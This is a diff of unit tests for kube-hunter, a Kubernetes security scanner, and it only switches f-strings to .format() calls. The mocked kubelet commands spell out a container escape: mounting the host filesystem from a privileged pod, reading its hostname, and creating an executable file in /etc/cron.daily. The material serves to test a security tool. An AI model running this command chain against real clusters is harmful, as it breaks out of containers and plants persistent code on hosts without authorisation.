session_mock.post( session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname" run_url + urllib.parse.quote("cat {}/etc/hostname".format(directory_created), safe=""), text="mockhostname"
) )
return_value = class_being_tested.process_exposed_existing_privileged_container( return_value = class_being_tested.process_exposed_existing_privileged_container(
@@ -619,7 +619,9 @@ def test_process_exposed_existing_privileged_container_failure_when_mkdir():
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline) session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs") session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="Permission denied") session_mock.post(
run_url + urllib.parse.quote("mkdir {}".format(directory_created), safe=""), text="Permission denied"
)
return_value = class_being_tested.process_exposed_existing_privileged_container( return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu", url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
@@ -642,7 +644,7 @@ def test_process_exposed_existing_privileged_container_failure_when_mount():
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline) session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs") session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="") session_mock.post(run_url + urllib.parse.quote("mkdir {}".format(directory_created), safe=""), text="")
session_mock.post( session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""),
text="Permission denied", text="Permission denied",
@@ -669,12 +671,12 @@ def test_process_exposed_existing_privileged_container_failure_when_cat_hostname
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline) session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs") session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="") session_mock.post(run_url + urllib.parse.quote("mkdir {}".format(directory_created), safe=""), text="")
session_mock.post( session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text="" run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
) )
session_mock.post( session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), run_url + urllib.parse.quote("cat {}/etc/hostname".format(directory_created), safe=""),
text="Permission denied", text="Permission denied",
) )
@@ -697,18 +699,18 @@ def test_maliciousintentviasecurekubeletport_success():
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd=" run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1()) directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1()) file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}" file_name_with_path = "{}/etc/cron.daily/{}".format(directory_created, file_name)
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline) session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs") session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="") session_mock.post(run_url + urllib.parse.quote("mkdir {}".format(directory_created), safe=""), text="")
session_mock.post( session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text="" run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
) )
session_mock.post( session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname" run_url + urllib.parse.quote("cat {}/etc/hostname".format(directory_created), safe=""), text="mockhostname"
) )
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="") session_mock.post(run_url + urllib.parse.quote("touch {}".format(file_name_with_path), safe=""), text="")
session_mock.post( session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text="" run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
) )